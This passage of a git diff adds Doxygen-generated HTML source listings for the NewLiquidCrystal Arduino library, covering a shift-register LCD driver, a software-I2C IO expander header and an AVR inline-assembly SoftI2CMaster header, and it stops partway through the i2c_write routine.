+00071 // 3 Pins required from the Arduino for Data, Clock, and Enable/Strobe.
+00072 //
+00073 // This code was inspired from LiquidCrystal_SR from
+00074 // http://code.google.com/p/arduinoshiftreglcd/
+00075 // but was written for implementing LiquidCrystal support for the Pebble
+00076 // and Pebblev2 (see below).
+00077 // The Pebbles's LCD and shift register wiring were inspired from this
+00078 // original page:
+00079 // http://www.arduino.cc/playground/Code/LCD3wires
+00080 // 
+00081 // Pebbles and the LCD3Wires design are compatible hardware-wise, but
+00082 // the LCD3Wire code does not work with arduino 1.0 anymore and is generally
+00083 // quite limited in functionality compared to this framework that provides the
+00084 // entire LiquidDisplay functionality.
+00085 // Why not just use the LiquidCrystal_SR pinout?
+00086 // - LCD3Wire was first and therefore have hardware that was designed with 
+00087 //   incompatible (IMO better if you don't mind 3 wires) pinout.
+00088 // - The pinout used here is same saner (the 4 bits for the LCD are all in one 
+00089 //   nibble of the shift register, not spread across 2 like in the
+00090 //   LiquidCrystal_SR pinout)
+00091 //
+00092 // Note however that LiquidCrystal_SR while a bit more complex wiring and code
+00093 // wise, supports non latching shift registers and it a few percent faster than
+00094 // this code since it can address the LCD enable pin without having to send 
+00095 // a pulse through the shift register like the LCD3Wires setup requires.
+00096 //  
+00097 // This code makes sure to properly follow the specifications when talking
+00098 // to the LCD while using minimal delays (it's faster than the LCD3wire and aiko
+00099 // pebble code).
+00100 //
+00101 // @author Marc MERLIN - marc_soft<at>merlins.org.
+00102 // ---------------------------------------------------------------------------
+00103 #include <stdio.h>
+00104 #include <string.h>
+00105 #include <inttypes.h>
+00106 
+00107 #if (ARDUINO <  100)
+00108 #include <WProgram.h>
+00109 #else
+00110 #include <Arduino.h>
+00111 #endif
+00112 #include "FastIO.h"
+00113 #include "LiquidCrystal_SR_LCD3.h"
+00114 
+00115 
+00116 // STATIC helper functions
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 
+00120 // CONSTRUCTORS
+00121 // ---------------------------------------------------------------------------
+00122 // Assuming 1 line 8 pixel high font
+00123 LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, 
+00124                                               uint8_t strobe )
+00125 {
+00126         init ( srdata, srclock, strobe, 1, 0 );
+00127 }
+00128 
+00129 
+00130 // PRIVATE METHODS
+00131 // ---------------------------------------------------------------------------
+00132 
+00133 //
+00134 // init
+00135 void LiquidCrystal_SR_LCD3::init( uint8_t srdata, uint8_t srclock, uint8_t strobe, 
+00136                                  uint8_t lines, uint8_t font )
+00137 {
+00138         // Initialise private variables
+00139         // translate all pins to bits and registers
+00140         // pinMode to OUTPUT, Output LOW
+00141    
+00142    _srdata_bit = fio_pinToBit(srdata);
+00143    _srdata_register = fio_pinToOutputRegister(srdata);
+00144    _srclock_bit = fio_pinToBit(srclock);
+00145    _srclock_register = fio_pinToOutputRegister(srclock);
+00146    _strobe_bit = fio_pinToBit(strobe);
+00147    _strobe_register = fio_pinToOutputRegister(strobe);
+00148    
+00149    // Little trick to force a pulse of the LCD enable bit and make sure it is
+00150    // low before we start further writes since this is assumed.
+00151    
+00152    write4bits(0);
+00153    
+00154    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x10DOTS;
+00155 }
+00156 
+00157 // PUBLIC METHODS
+00158 // ---------------------------------------------------------------------------
+00159 
+00160 
+00161 /************ low level data pushing commands **********/
+00162 
+00163 // Code below was borrowed from LCD3Wire from
+00164 // http://www.arduino.cc/playground/Code/LCD3wires
+00165 
+00166 // bitmasks for control bits on shift register
+00167 #define SR_EN_BIT B00010000   // LCD Data enable bit.
+00168 #define SR_RW_BIT B00100000   // RW can be pinned low since we only send
+00169 #define SR_RS_BIT B01000000   // LOW: command. HIGH: character.
+00170 
+00171 void LiquidCrystal_SR_LCD3::send(uint8_t value, uint8_t mode) 
+00172 {
+00173    uint8_t nibble;
+00174    
+00175    mode = mode ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00176    
+00177    nibble = value >> 4; // Get high nibble.
+00178    write4bits(nibble | mode);
+00179    
+00180    //delay(1); // This was in the LCD3 code but does not seem needed -- merlin
+00181    
+00182    nibble = value & 15; // Get low nibble
+00183    write4bits(nibble | mode);
+00184 }
+00185 
+00186 void LiquidCrystal_SR_LCD3::write4bits(uint8_t nibble) 
+00187 {
+00188    nibble &= ~SR_RW_BIT; // set RW LOW (we do this always since we only write).
+00189    
+00190    // Send a High transition to display the data that was pushed
+00191    nibble |=  SR_EN_BIT; // LCD Data Enable HIGH
+00192    _pushOut(nibble);
+00193    nibble &= ~SR_EN_BIT; // LCD Data Enable LOW
+00194    _pushOut(nibble); 
+00195 }
+00196 
+00197 // push byte to shift register and on to LCD
+00198 void LiquidCrystal_SR_LCD3::_pushOut(uint8_t nibble) 
+00199 {
+00200    // Make data available for pushing to the LCD.
+00201    fio_shiftOut(_srdata_register, _srdata_bit, _srclock_register, _srclock_bit, nibble, LSBFIRST);
+00202    
+00203    // Make new data active.
+00204    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00205    {
+00206       fio_digitalWrite_HIGH(_strobe_register, _strobe_bit);
+00207       waitUsec( 1 ); // strobe pulse must be >450ns (old code had 10ms)
+00208       fio_digitalWrite_SWITCHTO(_strobe_register, _strobe_bit,LOW);
+00209    }
+00210    waitUsec( 40 ); // commands need > 37us to settle
+00211 }
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html new file mode 100644 index 0000000..1b75e74 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html @@ -0,0 +1,95 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR_LCD3
+
+ + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html new file mode 100644 index 0000000..9888666 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html @@ -0,0 +1,129 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This module is a port by Marc MERLIN <marc_soft<at>merlins.org>
+00007 // See .cpp file for hardware details.
+00008 // ---------------------------------------------------------------------------
+00009 #ifndef _LIQUIDCRYSTAL_SR_LCD3_
+00010 #define _LIQUIDCRYSTAL_SR_LCD3_
+00011 
+00012 #include <inttypes.h>
+00013 #include "LCD.h"
+00014 
+00015 
+00016 class LiquidCrystal_SR_LCD3 : public LCD
+00017 {
+00018 public:
+00030    LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, uint8_t enable );
+00031    
+00044    virtual void send(uint8_t value, uint8_t mode);
+00045    
+00046    
+00047 private:
+00048    
+00054    void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, 
+00055               uint8_t font );
+00061    void write4bits ( uint8_t );
+00062    void _pushOut ( uint8_t );
+00063    
+00064    // Serial Data pin
+00065    fio_bit _srdata_bit;
+00066    fio_register _srdata_register;
+00067    
+00068    // Clock Pin
+00069    fio_bit _srclock_bit;
+00070    fio_register _srclock_register;
+00071    
+00072    // Enable Pin
+00073    fio_bit _strobe_bit;
+00074    fio_register _strobe_register;
+00075 };
+00076 
+00077 #endif
+00078 
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_s_i2_c_i_o_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_s_i2_c_i_o_8h_source.html new file mode 100644 index 0000000..a9c5f1d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_s_i2_c_i_o_8h_source.html @@ -0,0 +1,170 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file SI2CIO.h
+
13 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+
14 // chip, but using software I2C.
+
15 //
+
16 // @brief
+
17 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+
18 // The library implements basic IO general methods to configure IO pin direction
+
19 // read and write uint8_t operations and basic pin level routines to set or read
+
20 // a particular IO port.
+
21 //
+
22 // @version API 1.0.0
+
23 //
+
24 // @author F. Malpartida - fmalpartida@gmail.com
+
25 // Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com
+
26 // ---------------------------------------------------------------------------
+
27 
+
28 #ifndef _SI2CIO_H_
+
29 #define _SI2CIO_H_
+
30 
+
31 #include <inttypes.h>
+
32 
+
33 #define _SI2CIO_VERSION "1.0.0"
+
34 
+
42 class SI2CIO
+
43 {
+
44 public:
+
50  SI2CIO ( );
+
51 
+
63  int begin ( uint8_t i2cAddr );
+
64 
+
74  void pinMode ( uint8_t pin, uint8_t dir );
+
75 
+
84  void portMode ( uint8_t dir );
+
85 
+
95  uint8_t read ( void );
+
96 
+
109  uint8_t digitalRead ( uint8_t pin );
+
110 
+
124  int write ( uint8_t value );
+
125 
+
137  int digitalWrite ( uint8_t pin, uint8_t level );
+
138 
+
139 
+
140 
+
141 private:
+
142  uint8_t _shadow; // Shadow output
+
143  uint8_t _dirMask; // Direction mask
+
144  uint8_t _i2cAddr; // I2C address
+
145  bool _initialised; // Initialised object
+
146 
+
147 };
+
148 
+
149 #endif
+
int digitalWrite(uint8_t pin, uint8_t level)
Definition: SI2CIO.cpp:179
+
int write(uint8_t value)
Definition: SI2CIO.cpp:141
+
Definition: SI2CIO.h:42
+
void portMode(uint8_t dir)
Definition: SI2CIO.cpp:106
+
SI2CIO()
Definition: SI2CIO.cpp:59
+
uint8_t read(void)
Definition: SI2CIO.cpp:124
+
void pinMode(uint8_t pin, uint8_t dir)
Definition: SI2CIO.cpp:89
+
int begin(uint8_t i2cAddr)
Definition: SI2CIO.cpp:72
+
uint8_t digitalRead(uint8_t pin)
Definition: SI2CIO.cpp:162
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_soft_i2_c_master_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_soft_i2_c_master_8h_source.html new file mode 100644 index 0000000..3c9e563 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_soft_i2_c_master_8h_source.html @@ -0,0 +1,606 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.h
+
+
+
1 /* Arduino SoftI2C library.
+
2  *
+
3  * This is a very fast and very light-weight software I2C-master library
+
4  * written in assembler. It is based on Peter Fleury's I2C software
+
5  * library: http://homepage.hispeed.ch/peterfleury/avr-software.html
+
6  *
+
7  *
+
8  * This Library is free software: you can redistribute it and/or modify
+
9  * it under the terms of the GNU General Public License as published by
+
10  * the Free Software Foundation, either version 3 of the License, or
+
11  * (at your option) any later version.
+
12  *
+
13  * This Library is distributed in the hope that it will be useful,
+
14  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+
15  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+
16  * GNU General Public License for more details.
+
17  *
+
18  * You should have received a copy of the GNU General Public License
+
19  * along with the Arduino I2cMaster Library. If not, see
+
20  * <http://www.gnu.org/licenses/>.
+
21  */
+
22 
+
23 /* In order to use the library, you need to define SDA_PIN, SCL_PIN,
+
24  * SDA_PORT and SCL_PORT before including this file. Have a look at
+
25  * http://www.arduino.cc/en/Reference/PortManipulation for finding out
+
26  * which values to use. For example, if you use digital pin 3 for
+
27  * SDA and digital pin 13 for SCL you have to use the following
+
28  * definitions:
+
29  * #define SDA_PIN 3
+
30  * #define SDA_PORT PORTB
+
31  * #define SCL_PIN 5
+
32  * #define SCL_PORT PORTB
+
33  *
+
34  * You can also define the following constants (see also below):
+
35  * - I2C_CPUFREQ, when changing CPU clock frequency dynamically
+
36  * - I2C_FASTMODE = 1 meaning that the I2C bus allows speeds up to 400 kHz
+
37  * - I2C_SLOWMODE = 1 meaning that the I2C bus will allow only up to 25 kHz
+
38  * - I2C_NOINTERRUPT = 1 in order to prohibit interrupts while
+
39  * communicating (see below). This can be useful if you use the library
+
40  * for communicationg with SMbus devices, which have timeouts.
+
41  * Note, however, that interrupts are disabledfrom issuing a start condition
+
42  * until issuing a stop condition. So use this option with care!
+
43  * - I2C_TIMEOUT = 0..10000 mssec in order to return from the I2C functions
+
44  * in case of a I2C bus lockup (i.e., SCL constantly low). 0 means no timeout
+
45  */
+
46 
+
47 /* Changelog:
+
48  * Version 1.1:
+
49  * - removed I2C_CLOCK_STRETCHING
+
50  * - added I2C_TIMEOUT time in msec (0..10000) until timeout or 0 if no timeout
+
51  * - changed i2c_init to return true iff both SDA and SCL are high
+
52  * - changed interrupt disabling so that the previous IRQ state is retored
+
53  * Version 1.0: basic functionality
+
54  */
+
55 #include <avr/io.h>
+
56 #include <Arduino.h>
+
57 
+
58 #ifndef _SOFTI2C_H
+
59 #define _SOFTI2C_H 1
+
60 
+
61 // Init function. Needs to be called once in the beginning.
+
62 // Returns false if SDA or SCL are low, which probably means
+
63 // a I2C bus lockup or that the lines are not pulled up.
+
64 boolean __attribute__ ((noinline)) i2c_init(void);
+
65 
+
66 // Start transfer function: <addr> is the 8-bit I2C address (including the R/W
+
67 // bit).
+
68 // Return: true if the slave replies with an "acknowledge", false otherwise
+
69 bool __attribute__ ((noinline)) i2c_start(uint8_t addr);
+
70 
+
71 // Similar to start function, but wait for an ACK! Be careful, this can
+
72 // result in an infinite loop!
+
73 void __attribute__ ((noinline)) i2c_start_wait(uint8_t addr);
+
74 
+
75 // Repeated start function: After having claimed the bus with a start condition,
+
76 // you can address another or the same chip again without an intervening
+
77 // stop condition.
+
78 // Return: true if the slave replies with an "acknowledge", false otherwise
+
79 bool __attribute__ ((noinline)) i2c_rep_start(uint8_t addr);
+
80 
+
81 // Issue a stop condition, freeing the bus.
+
82 void __attribute__ ((noinline)) i2c_stop(void) asm("ass_i2c_stop");
+
83 
+
84 // Write one byte to the slave chip that had been addressed
+
85 // by the previous start call. <value> is the byte to be sent.
+
86 // Return: true if the slave replies with an "acknowledge", false otherwise
+
87 bool __attribute__ ((noinline)) i2c_write(uint8_t value) asm("ass_i2c_write");
+
88 
+
89 // Read one byte. If <last> is true, we send a NAK after having received
+
90 // the byte in order to terminate the read sequence.
+
91 uint8_t __attribute__ ((noinline)) i2c_read(bool last);
+
92 
+
93 // You can set I2C_CPUFREQ independently of F_CPU if you
+
94 // change the CPU frequency on the fly. If do not define it,
+
95 // it will use the value of F_CPU
+
96 #ifndef I2C_CPUFREQ
+
97 #define I2C_CPUFREQ F_CPU
+
98 #endif
+
99 
+
100 // If I2C_FASTMODE is set to 1, then the highest possible frequency below 400kHz
+
101 // is selected. Be aware that not all slave chips may be able to deal with that!
+
102 #ifndef I2C_FASTMODE
+
103 #define I2C_FASTMODE 0
+
104 #endif
+
105 
+
106 // If I2C_FASTMODE is not defined or defined to be 0, then you can set
+
107 // I2C_SLOWMODE to 1. In this case, the I2C frequency will not be higher
+
108 // than 25KHz. This could be useful for problematic buses.
+
109 #ifndef I2C_SLOWMODE
+
110 #define I2C_SLOWMODE 0
+
111 #endif
+
112 
+
113 // if I2C_NOINTERRUPT is 1, then the I2C routines are not interruptable.
+
114 // This is most probably only necessary if you are using a 1MHz system clock,
+
115 // you are communicating with a SMBus device, and you want to avoid timeouts.
+
116 // Be aware that the interrupt bit is enabled after each call. So the
+
117 // I2C functions should not be called in interrupt routines or critical regions.
+
118 #ifndef I2C_NOINTERRUPT
+
119 #define I2C_NOINTERRUPT 0
+
120 #endif
+
121 
+
122 // I2C_TIMEOUT can be set to a value between 1 and 10000.
+
123 // If it is defined and nonzero, it leads to a timeout if the
+
124 // SCL is low longer than I2C_TIMEOUT milliseconds, i.e., max timeout is 10 sec
+
125 #ifndef I2C_TIMEOUT
+
126 #define I2C_TIMEOUT 0
+
127 #else
+
128 #if I2C_TIMEOUT > 10000
+
129 #error I2C_TIMEOUT is too large
+
130 #endif
+
131 #endif
+
132 
+
133 #define I2C_TIMEOUT_DELAY_LOOPS (I2C_CPUFREQ/1000UL)*I2C_TIMEOUT/4000UL
+
134 #if I2C_TIMEOUT_DELAY_LOOPS < 1
+
135 #define I2C_MAX_STRETCH 1
+
136 #else
+
137 #if I2C_TIMEOUT_DELAY_LOOPS > 60000UL
+
138 #define I2C_MAX_STRETCH 60000UL
+
139 #else
+
140 #define I2C_MAX_STRETCH I2C_TIMEOUT_DELAY_LOOPS
+
141 #endif
+
142 #endif
+
143 
+
144 #if I2C_FASTMODE
+
145 #define I2C_DELAY_COUNTER (((I2C_CPUFREQ/400000L)/2-19)/3)
+
146 #else
+
147 #if I2C_SLOWMODE
+
148 #define I2C_DELAY_COUNTER (((I2C_CPUFREQ/25000L)/2-19)/3)
+
149 #else
+
150 #define I2C_DELAY_COUNTER (((I2C_CPUFREQ/100000L)/2-19)/3)
+
151 #endif
+
152 #endif
+
153 
+
154 // Table of I2C bus speed in kbit/sec:
+
155 // CPU clock: 1MHz 2MHz 4MHz 8MHz 16MHz 20MHz
+
156 // Fast I2C mode 40 80 150 300 400 400
+
157 // Standard I2C mode 40 80 100 100 100 100
+
158 // Slow I2C mode 25 25 25 25 25 25
+
159 
+
160 // constants for reading & writing
+
161 #define I2C_READ 1
+
162 #define I2C_WRITE 0
+
163 
+
164 // map the IO register back into the IO address space
+
165 #define SDA_DDR (_SFR_IO_ADDR(SDA_PORT) - 1)
+
166 #define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1)
+
167 #define SDA_OUT _SFR_IO_ADDR(SDA_PORT)
+
168 #define SCL_OUT _SFR_IO_ADDR(SCL_PORT)
+
169 #define SDA_IN (_SFR_IO_ADDR(SDA_PORT) - 2)
+
170 #define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2)
+
171 
+
172 #ifndef __tmp_reg__
+
173 #define __tmp_reg__ 0
+
174 #endif
+
175 
+
176 
+
177 // Internal delay functions.
+
178 void __attribute__ ((noinline)) i2c_delay_half(void) asm("ass_i2c_delay_half");
+
179 void __attribute__ ((noinline)) i2c_wait_scl_high(void) asm("ass_i2c_wait_scl_high");
+
180 
+
181 void i2c_delay_half(void)
+
182 { // function call 3 cycles => 3C
+
183 #if I2C_DELAY_COUNTER < 1
+
184  __asm__ __volatile__ (" ret");
+
185  // 7 cycles for call and return
+
186 #else
+
187  __asm__ __volatile__
+
188  (
+
189  " ldi r25, %[DELAY] ;load delay constant ;; 4C \n\t"
+
190  "_Lidelay: \n\t"
+
191  " dec r25 ;decrement counter ;; 4C+xC \n\t"
+
192  " brne _Lidelay ;;5C+(x-1)2C+xC\n\t"
+
193  " ret ;; 9C+(x-1)2C+xC = 7C+xC"
+
194  : : [DELAY] "M" I2C_DELAY_COUNTER : "r25");
+
195  // 7 cycles + 3 times x cycles
+
196 #endif
+
197 }
+
198 
+
199 void i2c_wait_scl_high(void)
+
200 {
+
201 #if I2C_TIMEOUT <= 0
+
202  __asm__ __volatile__
+
203  ("_Li2c_wait_stretch: \n\t"
+
204  " sbis %[SCLIN],%[SCLPIN] ;wait for SCL high \n\t"
+
205  " rjmp _Li2c_wait_stretch \n\t"
+
206  " cln ;signal: no timeout \n\t"
+
207  " ret "
+
208  : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN));
+
209 #else
+
210  __asm__ __volatile__
+
211  ( " ldi r27, %[HISTRETCH] ;load delay counter \n\t"
+
212  " ldi r26, %[LOSTRETCH] \n\t"
+
213  "_Lwait_stretch: \n\t"
+
214  " clr __tmp_reg__ ;do next loop 255 times \n\t"
+
215  "_Lwait_stretch_inner_loop: \n\t"
+
216  " rcall _Lcheck_scl_level ;call check function ;; 12C \n\t"
+
217  " brpl _Lstretch_done ;done if N=0 ;; +1 = 13C\n\t"
+
218  " dec __tmp_reg__ ;dec inner loop counter;; +1 = 14C\n\t"
+
219  " brne _Lwait_stretch_inner_loop ;; +2 = 16C\n\t"
+
220  " sbiw r26,1 ;dec outer loop counter \n\t"
+
221  " brne _Lwait_stretch ;continue with outer loop \n\t"
+
222  " sen ;timeout -> set N-bit=1 \n\t"
+
223  " rjmp _Lwait_return ;and return with N=1\n\t"
+
224  "_Lstretch_done: ;SCL=1 sensed \n\t"
+
225  " cln ;OK -> clear N-bit \n\t"
+
226  " rjmp _Lwait_return ; and return with N=0 \n\t"
+
227 
+
228  "_Lcheck_scl_level: ;; call = 3C\n\t"
+
229  " cln ;; +1C = 4C \n\t"
+
230  " sbic %[SCLIN],%[SCLPIN] ;skip if SCL still low ;; +2C = 6C \n\t"
+
231  " rjmp _Lscl_high ;; +0C = 6C \n\t"
+
232  " sen ;; +1 = 7C\n\t "
+
233  "_Lscl_high: "
+
234  " nop ;; +1C = 8C \n\t"
+
235  " ret ;return N-Bit=1 if low ;; +4 = 12C\n\t"
+
236 
+
237  "_Lwait_return:"
+
238  : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN),
+
239  [HISTRETCH] "M" (I2C_MAX_STRETCH>>8),
+
240  [LOSTRETCH] "M" (I2C_MAX_STRETCH&0xFF)
+
241  : "r26", "r27");
+
242 #endif
+
243 }
+
244 
+
245 
+
246 boolean i2c_init(void)
+
247 {
+
248  __asm__ __volatile__
+
249  (" cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
250  " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t"
+
251  " cbi %[SDAOUT],%[SDAPIN] ;clear SDA output value \n\t"
+
252  " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t"
+
253  " clr r24 ;set return value to false \n\t"
+
254  " clr r25 ;set return value to false \n\t"
+
255  " sbis %[SDAIN],%[SDAPIN] ;check for SDA high\n\t"
+
256  " ret ;if low return with false \n\t"
+
257  " sbis %[SCLIN],%[SCLPIN] ;check for SCL high \n\t"
+
258  " ret ;if low return with false \n\t"
+
259  " ldi r24,1 ;set return value to true \n\t"
+
260  " ret "
+
261  : :
+
262  [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),
+
263  [SCLIN] "I" (SCL_IN), [SCLOUT] "I" (SCL_OUT),
+
264  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN),
+
265  [SDAIN] "I" (SDA_IN), [SDAOUT] "I" (SDA_OUT));
+
266  return true;
+
267 }
+
268 
+
269 bool i2c_start(uint8_t addr)
+
270 {
+
271  __asm__ __volatile__
+
272  (
+
273 #if I2C_NOINTERRUPT
+
274  " cli ;clear IRQ bit \n\t"
+
275 #endif
+
276  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
277  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
278  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
279  " rcall ass_i2c_delay_half ;wait T/2 \n\t"
+
280  " rcall ass_i2c_write ;now write address \n\t"
+
281  " ret"
+
282  : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN),
+
283  [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN));
+
284  return true; // we never return here!
+
285 }
+
286 
+
287 bool i2c_rep_start(uint8_t addr)
+
288 {
+
289  __asm__ __volatile__
+
290 
+
291  (
+
292 #if I2C_NOINTERRUPT
+
293  " cli \n\t"
+
294 #endif
+
295  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t"
+
296  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
297  " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
298  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
299  " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t"
+
300  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
301  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
302  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
303  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
304  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
305  " rcall ass_i2c_write \n\t"
+
306  " ret"
+
307  : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),[SCLIN] "I" (SCL_IN),
+
308  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN));
+
309  return true; // just to fool the compiler
+
310 }
+
311 
+
312 void i2c_start_wait(uint8_t addr)
+
313 {
+
314  __asm__ __volatile__
+
315  (
+
316  " push r24 ;save original parameter \n\t"
+
317  "_Li2c_start_wait1: \n\t"
+
318  " pop r24 ;restore original parameter\n\t"
+
319  " push r24 ;and save again \n\t"
+
320 #if I2C_NOINTERRUPT
+
321  " cli ;disable interrupts \n\t"
+
322 #endif
+
323  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
324  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
325  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
326  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
327  " rcall ass_i2c_write ;write address \n\t"
+
328  " tst r24 ;if device not busy -> done \n\t"
+
329  " brne _Li2c_start_wait_done \n\t"
+
330  " rcall ass_i2c_stop ;terminate write & enable IRQ \n\t"
+
331  " rjmp _Li2c_start_wait1 ;device busy, poll ack again \n\t"
+
332  "_Li2c_start_wait_done: \n\t"
+
333  " pop __tmp_reg__ ;pop off orig argument \n\t"
+
334  " ret "
+
335  : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN),
+
336  [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN));
+
337 }
+
338 
+
339 void i2c_stop(void)
+
340 {
+
341  __asm__ __volatile__
+
342  (
+
343  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t"
+
344  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
345  " rcall ass_i2c_delay_half ;T/2 delay \n\t"
+
346  " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t"
+
347  " rcall ass_i2c_delay_half ;T/2 delay \n\t"
+
348  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
349  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
350  " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
351  " rcall ass_i2c_delay_half \n\t"
+
352 #if I2C_NOINTERRUPT
+
353  " sei ;enable interrupts again!\n\t"
+
354 #endif
+
355  : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN),
+
356  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN));
+
357 }
+
358 
+
359 bool i2c_write(uint8_t value)
+
360 {
+
361  __asm__ __volatile__
+
362  (
+
363  " sec ;set carry flag \n\t"
+
364  " rol r24 ;shift in carry and shift out MSB \n\t"
+
365  " rjmp _Li2c_write_first \n\t"
+
366  "_Li2c_write_bit:\n\t"
+
367  " lsl r24 ;left shift into carry ;; 1C\n\t"
+
368  "_Li2c_write_first:\n\t"
+
369  " breq _Li2c_get_ack ;jump if TXreg is empty;; +1 = 2C \n\t"
+
370  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 4C \n\t"
+
